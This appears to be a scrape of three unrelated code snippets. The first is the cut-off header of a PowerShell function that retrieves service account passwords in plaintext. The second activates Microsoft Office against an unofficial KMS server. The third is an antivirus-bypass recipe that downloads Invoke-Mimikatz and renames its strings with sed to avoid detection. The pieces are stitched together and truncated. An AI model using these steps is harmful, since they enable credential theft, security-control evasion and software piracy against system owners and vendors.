jborean93

# Copyright: (c) 2019, Jordan Borean (@jborean93) <jborean93@gmail.com>
# MIT License (see LICENSE or https://opensource.org/licenses/MIT)

Function Get-ServiceCredential {
    <#
    .SYNOPSIS
    Retrieve the username and plaintext password for all services installed on the local computer.

    .DESCRIPTION
    Will retrieve the username and plaintext password for the service(s) specified. This must be run as an

mokoshalb

cd\Program Files\Microsoft Office\Office16


cd\Program Files (x86)\Microsoft Office\Office16

cscript OSPP.VBS /sethst:kms.digiboy.ir
cscript OSPP.VBS /actcscript OSPP.VBS /dstatus


slmgr.vbs /ckms

PaulSec

# AV Bypass to run Mimikatz
# From: https://www.blackhillsinfosec.com/?p=5555

# Server side:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1